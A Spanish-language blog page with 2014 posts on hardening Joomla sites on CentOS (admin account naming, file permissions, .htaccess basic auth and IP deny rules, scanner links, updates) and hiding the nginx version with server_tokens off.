justify;"> <br /></div> <div style="text-align: justify;"> <div> En algunos casos estas extensiones son una vulnerabilidad para los sitios web ya que posiblemente se traten de extensión que carecen de procesos de revisión de código y seguridad.</div> <div> Las premisas esenciales para instalar este tipo de aplicaciones serían:</div> <div> <br /></div> <div> <div> <ul> <li><b>Verificar el historial de vulnerabilidades</b>. Evidentemente lo más recomendable es utilizar aplicaciones que no se encuentren en la lista de extensiones vulnerables (para más antiguas consultar esta otra lista). En caso contrario se está asumiendo un riesgo elevado del compromiso de la seguridad de la web.</li> <li><b>Comprobar si está incluída en el Directorio de Extensiones de Joomla</b>. En este portal se realiza un primer filtrado comprobando que la aplicación cumple unos estándares mínimos (tanto de usabilidad como de seguridad).</li> <li><b>Página del desarrollador y comunidad de soporte.</b> Este es un punto a tener en cuenta ya que aportará información acerca de cuánto tiempo lleva desarrollándose y el tipo de soporte con el que cuenta (foros, etc.). Adicionalmente en las web de los desarrolladores es posible comprobar el funcionamiento a través de una Demo antes de su instalación.</li> <li><b>Versión nativa.</b> Siembre se debe verificar que la extensión esté disponible para la versión de Joomla que se ha instalado. Esto evita tener que activar el modo herencia.</li> </ul> </div> </div> <div> Como siempre realizar un analisis de vulnerabilidades al sitio. existen muchas herramientas para realizar esta accion y algunas especialmente dirigida para este CMS como pueden ser</div> <div> <b><a href="https://mega.co.nz/#!fk1BUTqa!XqK-tYTwYftQSFeYtHvEU0jvOFRgp8o7YFoheiaaW0M">JoomlaScan</a></b></div> <div> <b><a href="http://hackertarget.com/joomla-security-scan/">joomla-security-scan</a></b></div> <div> <b><a href="https://www.owasp.org/index.php/Category:OWASP_Joomla_Vulnerability_Scanner_Project">OWASP Joomla Vulnerability Scanner Projec</a></b></div> <div> <b><br /></b></div> <div> Entre otros.</div> <div> <br /></div> <div> <b><span style="font-size: large;"><span class="Apple-tab-span">11</span><span class="Apple-tab-span">&nbsp;<span style="white-space: pre;">Servidor web</span></span></span></b></div> <div> <br /></div> <div> Para una mayor seguridad de los portales web se debe implementar el aseguramiento del servidor web APACHE en un post anterior comentabamos sobre hardening sobre los servidores web <b>apache y nginx</b>.</div> <div> En el <b>punto 7 </b>de la<b> <a href="http://antoniojorz.blogspot.com/2014/10/hardening-sistema-linux-centos-parte2.html">#</a></b><a href="http://antoniojorz.blogspot.com/2014/10/hardening-sistema-linux-centos-parte2.html">Parte2_Hardening_CentOS</a>&nbsp;podemos encontrar mayor información sobre el aseguramiento en <b>APACHE&nbsp;</b>y en el <b>punto 8</b> de la <a href="http://antoniojorz.blogspot.com/2014/10/hardening-sistema-linux-centos-parte3.html">#Parte3_Hardening_CentOS</a>&nbsp;podemos encontrar mayor información sobre aseguramiento a <b>NGINX.</b></div> <div> <b><br /></b></div> <div> <b><span style="font-size: large;"><span class="Apple-tab-span">12</span><span class="Apple-tab-span">&nbsp;<span style="white-space: pre;">Actualizaciones</span></span></span></b></div> <div> <b><br /></b></div> <div> <div> Como en cualquier aplicación o software que se precie, el mantener una política de actualizaciones es esencial con el objetivo de cubrir los agujeros de seguridad que se vayan descubriendo. En el caso de Joomla se debe proceder del mismo modo previa evaluación del impacto que una actualización pueda provocar como la incompatibilidad entre complementos, plugins, plantillas, etc. No obstante se debe considerar adecuadamente estos aspectos primando sobre todas los relacionados con la seguridad.</div> <div> <br /></div> <div> Generalmente, los procedimientos para actualizar el CMS Joomla suelen ser sencillos y varían ligeramente en función de si se trata de actualizaciones dentro de la misma rama (por ejemplo de de la v3.0.1 a la v3.0.2), o si es un cambio de versión (de la v3.0x a la 4.0.x). Los primeros únicamente requieren la sustitución de los archivos antiguos por los de la nueva versión. En el caso de la segunda opción, en ocasiones es posible hacerlos directamente pero por lo general requieren de una instalación limpia de la versión de Joomla! que se quiere instalar y realizar una migración de datos.</div> <div> En el sitio oficial <b><a href="http://docs.joomla.org/">http://docs.joomla.org</a></b> o en el proyecto en español <b><a href="http://www.joomlaspanish.org/">http://www.joomlaspanish.org</a>/</b> se puede encontrar información útil acerca de cómo actualizar entre las distintas versiones del gestor de contenidos.</div> <div> <br /></div> <div> De igual manera en esta plantilla de aseguramiento se recomienda suscribirse a servicios de información que nos permitan estar al día en relación a la aparición de nuevas versiones de Joomla! o el descubrimiento de agujeros de seguridad, que nos permitan actualizar o corregir los problemas lo más rápido posible.</div> <div style="font-weight: bold;"> <br /></div> </div> </div> Atoiohttp://www.blogger.com/profile/05839122536208921999noreply@blogger.com0tag:blogger.com,1999:blog-4993754786350617036.post-10868485892631737672014-10-22T02:06:00.001-05:002014-10-22T02:19:51.357-05:00Hola amigos continuando con el tema de hardening. esta vez les traigo una plantilla basica complementada por mi parte para los CMS Joomla en sistemas Linux (CentOS). basada en la guia basica de securizacion de Inteco.<br /> <a href="http://www.inteco.es/file/WbpsPPREE7naXKiMJlkT_g" rel="nofollow" target="_blank">http://www.inteco.es/file/WbpsPPREE7naXKiMJlkT_g</a><br /> <br /> <br /> <b>INDICE</b><br /> <b><br /></b> <b>1<span class="Apple-tab-span" style="white-space: pre;"> </span>Introducción<span class="Apple-tab-span" style="white-space: pre;"> </span></b><br /> <b>2<span class="Apple-tab-span" style="white-space: pre;"> </span>Prefijo de la base de datos</b><br /> <b>3<span class="Apple-tab-span" style="white-space: pre;"> </span>Usuario y contraseñas de administrador</b><br /> <b>4<span class="Apple-tab-span" style="white-space: pre;"> </span>Permiso de directorios y archivos</b><br /> <b>5<span class="Apple-tab-span" style="white-space: pre;"> </span>Área de administración (Back-end Administrator)</b><br /> <b>6<span class="Apple-tab-span" style="white-space: pre;"> </span>Htaccess y Robots.txt</b><br /> <b>6.1<span class="Apple-tab-span" style="white-space: pre;"> </span>Htaccess</b><br /> <b>6.2<span class="Apple-tab-span" style="white-space: pre;"> </span>Habilitar Htaccess<span class="Apple-tab-span" style="white-space: pre;"> </span></b><br /> <b>6.3<span class="Apple-tab-span" style="white-space: pre;"> </span>Denegar el acceso a los archivos .htaccess e impedir mostrar el contenido de directorios</b><br /> <b>6.4<span class="Apple-tab-span" style="white-space: pre;"> </span>Impedir el acceso no autorizado al back-end de joomla</b><br /> <b>6.5<span class="Apple-tab-span" style="white-space: pre;"> </span>Restringir el acceso a dominios e IP’s<span class="Apple-tab-span" style="white-space: pre;"> </span></b><br /> <b>6.6<span class="Apple-tab-span" style="white-space: pre;"> </span>Robots.txt</b><br /> <b>7<span class="Apple-tab-span" style="white-space: pre;"> </span>Eliminar Meta Generator de Joomla</b><br /> <b><span class="Apple-tab-span">8</span><span class="Apple-tab-span" style="white-space: pre;"> </span>URL’S Amigables</b><br /> <b>8<span class="Apple-tab-span" style="white-space: pre;"> </span>Respaldo de información</b><br /> <b>9<span class="Apple-tab-span" style="white-space: pre;"> </span>Extensiones de tercero</b><br /> <b>10<span class="Apple-tab-span" style="white-space: pre;"> </span>Servidor web (Apache)<span class="Apple-tab-span" style="white-space: pre;"> </span></b><br /> <b>11<span class="Apple-tab-span" style="white-space: pre;"> </span>Actualizaciones</b><br /> <br /> <b><span style="font-size: large;">1<span class="Apple-tab-span" style="white-space: pre;"> </span>Introducción</span></b><br /> <br /> <div style="text-align: justify;"> Joomla es un gestor de contenidos (CMS) orientado a la realización de páginas web, tanto a nivel público como portales de intranet, distribuido como software libre.</div> <div style="text-align: justify;"> Joomla es una aplicación Open Source o de código abierto programada en lenguaje PHP bajo una licencia GPL y que utiliza una base de datos por default MySQL para almacenar el contenido y los parámetros de configuración del sitio.</div> <div style="text-align: justify;"> Es importante destacar que esta herramienta al ser un software totalmente libre el código fuente es conocido y de aquí parte una parte del compromiso de asegurar los portales diseñados con joomla para evitar posibles vulnerabilidades y ataques.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <b><span style="font-size: large;">2<span class="Apple-tab-span" style="white-space: pre;"> </span>Prefijo de la base de datos</span></b></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Este es un aspecto de seguridad importante a la hora de crear la estructura de tablas ya que Joomla, hasta la versión 2.X por defecto creaba el prefijo <b>jos_ </b>en el nombre de las tablas por lo que un posible atacante lo tenía muy fácil para conocer el nombre de las mismas ya que el resto del nombre es común para todas las instalaciones (ejemplo: <b>jos_users</b>). A partir de la versión 3.X Joomla genera un prefijo aleatorio, pero es recomendable modificarlo por uno que el usuario considere y que preferiblemente, no tenga relación con el nombre del sitio.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <b><span style="font-size: large;">3<span class="Apple-tab-span" style="white-space: pre;"> </span>Usuario y contraseñas de administrador</span></b></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Joomla por defecto rellena el formulario correspondiente al Usuario del Administrador con el nombre admin.</div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2FpSK-quCqsVk-odaIpkAEpbeWq3ZdH0cxzyxXoUMrIwz8G_lMydfMhmG366GhKq5qNksnX1H-D6xRMC3yj0HbfEpE55o2AS2pEJIvk8F-OUh2kXsdkdJ53JZaJwmg4ZftYNoxhT7Ifg/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2FpSK-quCqsVk-odaIpkAEpbeWq3ZdH0cxzyxXoUMrIwz8G_lMydfMhmG366GhKq5qNksnX1H-D6xRMC3yj0HbfEpE55o2AS2pEJIvk8F-OUh2kXsdkdJ53JZaJwmg4ZftYNoxhT7Ifg/s1600/1.png" height="126" width="320" /></a></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Por razones de seguridad es altamente recomendable modificar este nombre por otro diferente. En caso de mantener el usuario admin hay que considerar que si un usuario malintencionado quisiera acceder a la zona de administración, ya conoce la mitad de la barrera existente. Si además no se crea una contraseña robusta, es relativamente fácil que por medio de un ataque de fuerza bruta se acceda a la zona de administración.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <div> <b><span style="font-size: large;">4<span class="Apple-tab-span" style="white-space: pre;"> </span>Permiso de directorios y archivos</span></b></div> <div> <br /></div> <div> Es muy importante proteger los directorios y archivos de joomla con los permisos adecuados todo el árbol de directorios y archivos que componen la estructura de Joomla. Puesto que la aplicación web se encuentra en un directorio con acceso de lectura para todo los usuarios (777), como mínimo se ha de verificar que los permisos se han establecido adecuadamente.</div> <div> <br /></div> <div> <div> Teniendo en cuenta lo anterior y como medida general, para toda la estructura de carpetas (no archivos) donde está instalado Joomla serían aplicables los permisos <b>755</b> que se traducen como:</div> <div> <ul> <li><b>Los propietarios</b>, es decir el usuario que ha facilitado el hosting al contratar el servicio, tendrán control total (lectura, escritura y ejecución) sobre las carpetas del servidor (7).</li> <li><b>Los miembros del grupo</b> tendrán permisos de lectura y ejecución (5). En el caso de alojamiento web, el grupo (Group) en el caso de un alojamiento web pertenece al propietario (Owner).</li> <li><b>El resto de usuarios</b>, los que acceder a la página web y sus servicios, tendrán permisos de lectura y ejecución (5).</li> </ul> </div> </div> <div> <div> Para los archivos la configuración será distinta. Hay que aplicar permisos <b>644</b> que se traducirían, siguiendo la información de la tabla, como:</div> <div> <br /></div> <div> <ul> <li>Los propietarios tendrán permiso de lectura y escritura sobre los archivos del servidor (6).</li> <li>Los miembros del grupo tendrán permisos de lectura (4).</li> <li>El resto de usuarios, los que acceder a la página web y sus servicios, tendrán permisos de lectura (4).</li> </ul> </div> <div> En resumen y como recomendación, se deben aplicar los permisos:<span class="Apple-tab-span" style="white-space: pre;"> </span></div> <div> <b>755 para directorios o carpetas.</b></div> <div> <b>644 para archivos.</b></div> </div> <div> <b><br /></b></div> <div> <div> <b><span style="font-size: large;">5<span class="Apple-tab-span" style="white-space: pre;"> </span>Área de administración (Back-end Administrator)</span></b></div> <div> <br /></div> <div> Joomla como la mayoría de gestores de contenidos, cuenta con dos partes diferentes en su sistema. Por un lado encontramos la parte pública o Front-end y por otro, la parte privada/de administración o Back-end.</div> <div> <br /></div> <div> La parte de administración está reservada para aquellos usuarios que gestionaran la plataforma como son los administradores o los usuarios que van a publicar contenidos o realizar tareas de mantenimiento. Joomla tiene su propio directorio en el árbol de carpetas donde se ubican todos los archivos necesarios para la presentación web, gestión, etc.</div> <div> <br /></div> <div> Puesto que la zona de administración debe ser considerara un punto clave a proteger con el objetivo de impedir lo máximo posible accesos no autorizados, es necesario implementar los mecanismos adecuados que aporten seguridad en este aspecto. Como se comentó en el punto de la instalación, la primera acción a tomar sería modificar el nombre de usuario administrador por defecto (admin) y utilizar una contraseña robusta.</div> <div> <br /></div> <div> Una segunda acción seria esconder el Back-end de administración que por defecto es <b>www.portal.com/administrator</b></div> <div> Para esto se recomienda hacer uso de autenticación htaccess o bien del plugin Jsecure.</div> <div> <br /></div> <div> veremos mas adelante el tema de asegurar el back-end por httaces y/o el plugin jsecure el punto <b>6.3</b></div> <div> <br /></div> <div> <div> <b><span style="font-size: large;">6<span class="Apple-tab-span" style="white-space: pre;"> </span>Htaccess y Robots.txt</span></b></div> <div> <br /></div> <div> En este punto se tratará cómo restringir el acceso a determinados directorios y archivos mediante la configuración de .htaccess y cómo evitar que los buscadores indexen archivos o rutas del sitio web que no queremos que sean visibles a través de las búsquedas como por ejemplo URLs de administración, de configuración, etc.</div> </div> <div> <br /></div> <div> <b><span style="font-size: large;">6.1<span class="Apple-tab-span" style="white-space: pre;"> </span>Htaccess</span></b><br /> La mayoría de opciones de configuración de un servidor web dentro de un alojamiento basado en Apache están solo accesibles para el administrador del servidor en el ISP, es posible aplicar determinadas configuraciones editando el archivo .htaccess. Estas configuraciones, denominadas directivas, permiten aportar funcionalidades que variarán el comportamiento de sitio web pudiendo implementar varios archivos .htaccess sobre distintos directorios y archivos en base a las necesidades.<br /> <br /> Cuando se finaliza la instalación de Joomla el CMS crea por defecto el archivo <b>htaccess.txt</b> que no tendrá efecto hasta que se modifique su nombre, de <b>htaccess.txt</b> a <b>.htaccess</b><br /> <b><br /></b> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrDh2BVMl51Q-XZcFXA1X1deks2WwkAtKcL5AkEyKhS3TQINPDPw7Yu9qGftkPnBBdRY9Ktxg1b2QmRbeAo6qJMdwTJDnXImiBVg_Vn4_rMLwhIlGtShrCRmA_n-XL8tGOlKDduIoRgpQ/s1600/htacces_txt.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrDh2BVMl51Q-XZcFXA1X1deks2WwkAtKcL5AkEyKhS3TQINPDPw7Yu9qGftkPnBBdRY9Ktxg1b2QmRbeAo6qJMdwTJDnXImiBVg_Vn4_rMLwhIlGtShrCRmA_n-XL8tGOlKDduIoRgpQ/s1600/htacces_txt.png" height="411" width="640" /></a></div> <b><br /></b> Inicialmente en Joomla, este archivo está configurado para facilitar la reescritura de las URL y optimizar el sitio en los motores de búsqueda para el SEO, pero a través de ciertos parámetros, será posible aplicar diferentes configuraciones que aportarán mayor seguridad al sitio web.<br /> <br /> <b><span style="font-size: large;">6.2<span class="Apple-tab-span" style="white-space: pre;"> Habilitar </span>Htaccess</span></b><br /> <br /> Al tratarse de un servidor en ambiente local (No hosting) debemos realizar una modificación a la configuración del apache para la lectura de estos archivos.<br /> <br /> Nos ubicamos a la siguiente carpeta <b>/etc/httpd/conf</b> y abrimos el archivo <b>httpd.conf</b> en ella encontraremos que las opciones <b>AllowOverride</b> se encontraran en <b>None</b>, editamos el <b>None </b>por <b>All</b>, guardamos y reiniciamos el servicio de apache.<br /> <b>service httpd restart</b></div> <div> <br /></div> <div> <b><span style="font-size: large;">6.3<span class="Apple-tab-span" style="white-space: pre;"> Impedir mostrar el contenido de directorios</span></span></b></div> <div style="font-weight: bold;"> <br /></div> </div> <div> En algunas ocasiones también interesará que la estructura de directorios de Joomla, a pesar de ser bastante conocida, no sea mostrada y ocultar así los archivos y carpetas que componen el sitio. Para ello basta con añadir al archivo <b>.htaccess</b> la siguiente línea:<br /> <b><br /></b> <b>Options All –Indexes.</b><br /> <b><br /></b> <b><span style="font-size: large;">6.4<span class="Apple-tab-span" style="white-space: pre;"> Impedir el acceso no autorizado al back-end de joomla</span></span></b><br /> <b><span style="font-size: large;"><span class="Apple-tab-span" style="white-space: pre;"><br /></span></span></b> <span style="white-space: pre;">Anteriormente mencionamos y recomendamos el restringir el acceso al back-end por httacces o por elplugins JSecure para darle un segundo factor de protección al acceso del back-end de administración además de otras funcionalidades de seguridad que proporciona el componente.&nbsp;</span><br /> <span style="white-space: pre;"><span class="Apple-tab-span"></span></span><br /> <span style="white-space: pre;">Podemos asignar un segundo factor de protección (autenticación HTTP) mediante el archivo .htacces si no se cuenta con el componente JSecure.</span></div> <div> <br /></div> <div> Ami realmente me gusta mas el funcionamiento de segundo factor de la autenticacion HTTP y combinarla con los logs de JSecure.</div> <div> <br /></div> <div> En el archivo .htaccess indicaremos la configuración siguiente</div> </div> <div> <div id="codeSnippetWrapper" style="background-color: #f4f4f4; border: 1px solid silver; cursor: text; direction: ltr; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding: 4px; text-align: left; width: 97.5%;"> <div id="codeSnippet" style="background-color: #f4f4f4; border-style: none; direction: ltr; overflow: visible; padding: 0px; text-align: left; width: 100%;"> <pre style="background-color: white; border-style: none; direction: ltr; margin: 0em; overflow: visible; padding: 0px; text-align: left; width: 100%;"><span id="lnum1" style="color: #606060; font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt;"> 1:</span><span style="font-family: ’courier new’, courier, monospace; font-size: x-small;"><span style="line-height: 12pt;"> </span></span><span style="background-color: #f4f4f4; font-size: 11px; line-height: 16px;"><span style="color: blue; font-family: ’courier new’, courier, monospace;">AuthType Basic</span></span></pre> <div style="color: black; font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt;"> <!--CRLF--></div> <pre style="background-color: #f4f4f4; border-style: none; color: black; direction: ltr; font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding: 0px; text-align: left; width: 100%;"><span id="lnum2" style="color: #606060;"> 2:</span>&nbsp;<span style="color: blue;">AuthName Area de Administracion</span></pre> <div style="color: black; font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt;"> <!--CRLF--></div> <pre style="background-color: white; border-style: none; color: black; direction: ltr; font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding: 0px; text-align: left; width: 100%;"><span id="lnum3" style="color: #606060;"> 3:</span>&nbsp;<span style="background-color: #f4f4f4; color: blue; font-size: 8pt; line-height: 12pt;">AuthUserFile /htpasswds/users.pwd</span></pre> <pre style="background-color: white; border-style: none; direction: ltr; margin: 0em; overflow: visible; padding: 0px; text-align: left; width: 100%;"><pre style="background-color: #f4f4f4; border-style: none; direction: ltr; font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding: 0px; width: 636.671875px;"><span id="lnum2" style="color: #606060;"> 4:</span>&nbsp;<span style="color: blue;">require valid-user</span></pre> <span style="font-family: Times New Roman;"><span style="white-space: normal;"> </span></span></pre> <div> <!--CRLF--></div> </div> </div> </div> <div style="text-align: justify;"> Hay que indicar que esta configuración se debe aplicar en un archivo .htaccess en el directorio /administrator. Para que la configuración funcione correctamente adicionalmente, hay que crear un archivo de texto con los usuarios y contraseñas que podrán acceder al directorio (en el ejemplo users.pwd) y ubicarlo en un directorio, a ser posible oculto y fuera de la carpeta pública (en el ejemplo /.htpasswds). Puesto que el formato de la contraseña para apache se ha de cifrar, el archivo users.pwd que contiene el usuario y contraseña, tendría el siguiente formato:</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> ============================================</div> <div style="text-align: justify;"> <b>antony:$apr1$Exo2qw2s$xG7V/Va.A9w5dMA9J6Wcm/</b></div> <div style="text-align: justify;"> ============================================</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Para ayudarnos a generar las listas de usuarios podemos utilizar servicios como <a href="http://www.htaccesstools.com/htpasswd-generator/" rel="nofollow" target="_blank">http://www.htaccesstools.com/htpasswd-generator/</a> que convierten la contraseña al formato adecuado o bien usando el comando htpasswd en consola.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Implementando esta medida, cuando un usuario trate de acceder a la URL <b>portal.com/administrator</b>, previa a la aparición del formulario de acceso a la administración del portal, se mostrará otro solicitando las credenciales del archivo <b>users.pwd</b>.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> cuando intentemos nuevamente ingresar al back-end veremos algo similar a la imagen:</div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmqgBSAgcE_JefccGlI6SpVlWc8gRcm2X_afSey-6T2N-XihyaAH5iS380BvT38N9U38hroPOSEkL4v_uthE3TC3zN7D_nmIYcuh0E5YFdXL-FIk5wXiu0Z8WIa6T0YqnQ-nOWXllPOJI/s1600/http_autentication.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmqgBSAgcE_JefccGlI6SpVlWc8gRcm2X_afSey-6T2N-XihyaAH5iS380BvT38N9U38hroPOSEkL4v_uthE3TC3zN7D_nmIYcuh0E5YFdXL-FIk5wXiu0Z8WIa6T0YqnQ-nOWXllPOJI/s1600/http_autentication.png" height="267" width="640" /></a></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Recuerden tener la ultima version del apache por que en versiones anteriores existe un bypass para <b>HTTP Authentication</b><br /> <b><br /></b></div> <div style="text-align: justify;"> <b><span style="font-size: large;">6.5<span class="Apple-tab-span" style="white-space: pre;"> </span>Restringir el acceso a dominios e IP’S</span></b></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Cuando nos percatamos en los logs algun ataque a nuestro sitio web lo primero que hacemos es denegar esa IP, esto cuando no contamos con un web firewall que nos automatice el trabajo.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Denegar la IP la podemos realizar mediante el archivo <b>.httaccess </b>&nbsp;o bien con <b>Jsecure</b></div> <div style="text-align: justify;"> <b><br /></b></div> <div style="text-align: justify;"> con <b>JSecure </b>simplemente nos vamos a componente--&gt;JSecure Authentication</div> <div style="text-align: justify;"> <br /></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbH0Cc7_D_Z3REXE7C9gYDHKZdqkJA8hWIsjBnFXy8wWdh24Ge9FRlkfWjpHtqMAKD7cIcNGmI26YDHsgZzVZ_wBu6aqa9_weNAZV1XAHV273KcZB1Pn3BXLT88qU8HJNsmnpZ8NDPUIY/s1600/menu-jsecure.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbH0Cc7_D_Z3REXE7C9gYDHKZdqkJA8hWIsjBnFXy8wWdh24Ge9FRlkfWjpHtqMAKD7cIcNGmI26YDHsgZzVZ_wBu6aqa9_weNAZV1XAHV273KcZB1Pn3BXLT88qU8HJNsmnpZ8NDPUIY/s1600/menu-jsecure.png" height="320" width="182" /></a></div> <div style="text-align: justify;"> y dentro del menu de este seleccionamos IP y agregamos las IP q les vamos a denegar Acceso</div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih6B7GbXdVwu8W9MchPdFA4Y3mokjLa2KluzCv4oWjt7ir7w6tfKKCsdLZaqDZImJQLgDmp7Bh5xMp3_0NxdHJjNqK5A-Dftx9zfJ8KbLJ0pJeU8tB54JZoosY-UR8jm1OTu0jW10PVWE/s1600/Jsecure_block_IP.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih6B7GbXdVwu8W9MchPdFA4Y3mokjLa2KluzCv4oWjt7ir7w6tfKKCsdLZaqDZImJQLgDmp7Bh5xMp3_0NxdHJjNqK5A-Dftx9zfJ8KbLJ0pJeU8tB54JZoosY-UR8jm1OTu0jW10PVWE/s1600/Jsecure_block_IP.png" height="277" width="640" /></a></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Y por un archivo <b>.Htaccess </b>seria con una configuracion como la siguiente:</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <div style="text-align: start;"> <div id="codeSnippetWrapper" style="background-color: #f4f4f4; border: 1px solid silver; cursor: text; direction: ltr; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding: 4px; width: 636.671875px;"> <div id="codeSnippet" style="border-style: none; direction: ltr; overflow: visible; padding: 0px; width: 636.671875px;"> <pre style="background-color: white; border-style: none; direction: ltr; margin: 0em; overflow: visible; padding: 0px; width: 636.671875px;"><span id="lnum1" style="color: #606060; font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt;"> 1:</span><span style="font-family: ’courier new’, courier, monospace; font-size: x-small;"><span style="line-height: 12pt;"> </span></span><span style="background-color: #f4f4f4; font-size: 11px; line-height: 16px;"><span style="color: blue; font-family: ’courier new’, courier, monospace;">order deny,allow</span></span></pre> </div> <div id="codeSnippet" style="border-style: none; direction: ltr; overflow: visible; padding: 0px; width: 636.671875px;"> <div style="font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt;"> </div> <pre style="border-style: none; direction: ltr; margin: 0em; overflow: visible; padding: 0px; width: 636.671875px;"><span style="font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt;"><span id="lnum2" style="color: #606060;"> 2:</span>&nbsp;</span><span style="color: blue; font-family: ’courier new’, courier, monospace;"><span style="font-size: 11px; line-height: 16px;">deny from xxx.xxx.xxx.xxx</span></span></pre> <div style="font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt;"> </div> <pre style="background-color: white; border-style: none; direction: ltr; margin: 0em; overflow: visible; padding: 0px; width: 636.671875px;"><span id="lnum3" style="color: #606060; font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt;"> 3:</span><span style="font-family: ’courier new’, courier, monospace; font-size: x-small;"><span style="line-height: 12pt;">&nbsp;</span></span><span style="background-color: #f4f4f4; font-size: 11px; line-height: 16px;"><span style="color: blue; font-family: ’courier new’, courier, monospace;">deny from .dominio.com</span></span></pre> <pre style="background-color: white; border-style: none; direction: ltr; margin: 0em; overflow: visible; padding: 0px; width: 636.671875px;"><pre style="background-color: #f4f4f4; border-style: none; direction: ltr; margin: 0em; overflow: visible; padding: 0px; width: 636.671875px;"><span id="lnum2" style="color: #606060; font-family: '’courier new’', courier, monospace; font-size: 8pt; line-height: 12pt;"> 4:</span><span style="font-family: ’courier new’, courier, monospace; font-size: x-small;"><span style="line-height: 12pt;">&nbsp;</span></span><span style="background-color: white; font-size: 11px; line-height: 16px;"><span style="color: blue; font-family: ’courier new’, courier, monospace;">allow from all</span></span></pre> <span style="font-family: Times New Roman;"><span style="white-space: normal;"></span></span></pre> <div> </div> </div> </div> </div> </div> <br /> para no extender el post continuamremos con la segunda parte en otro<br /> <br /> seguir leyendo #Parte2Atoiohttp://www.blogger.com/profile/05839122536208921999noreply@blogger.com0tag:blogger.com,1999:blog-4993754786350617036.post-148939818442122962014-10-17T11:34:00.001-05:002014-10-17T11:34:52.086-05:00Continuando con la plantilla de aseguramiento de Servidores con sistema CentOS<br /> Leer las:&nbsp;<a href="http://antoniojorz.blogspot.com/2014/10/hardening-sistema-linux-centos-parte1.html" target="_blank">#Parte1</a>&nbsp;<a href="http://antoniojorz.blogspot.com/2014/10/hardening-sistema-linux-centos-parte2.html" target="_blank">#Parte2</a><br /> <br /> <b><span style="font-size: large;">8<span style="color: windowtext; font-family: Calibri, sans-serif;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>Hardening de Nginx</span></b><br /> <br /> <br /> <div style="text-align: justify;"> Lo primero de asegurar en este servidor web es su versión, para eso eliminaremos información que identifique la versión de nginx lo más posible. Y así evitar buscarle vulnerabilidades a dicha versión.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Para eliminar el número de versión en la configuración especificamos la siguiente directiva en el archivo de configuración de nginx:</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <b>nginx.conf</b></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Entre <b>http</b> agregamos lo siguiente:</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <b>server_tokens off;</b></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <b>Ejemplo:</b></div> <div style="text-align: justify;"> <b><br /></b></div> <div style="text-align: justify;"> <b>http</b></div> <div style="text-align: justify;"> <b>{</b></div> <div style="text-align: justify;"> <b>...</b></div> <div style="text-align: justify;"> <b>server_tokens off;</b></div> <b>...<br />}</b><br /> <div> <span style="font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; font-size: 10.0pt; line-height: 115%; mso-ansi-language: ES-CO; mso-bidi-font-family: &quot;Times New Roman&quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin;">Con el comando <b>Curl –I </b>&nbsp;podemos verificar que la versión del servidor web esta oculta</span></div> <div> <br /></div> <img 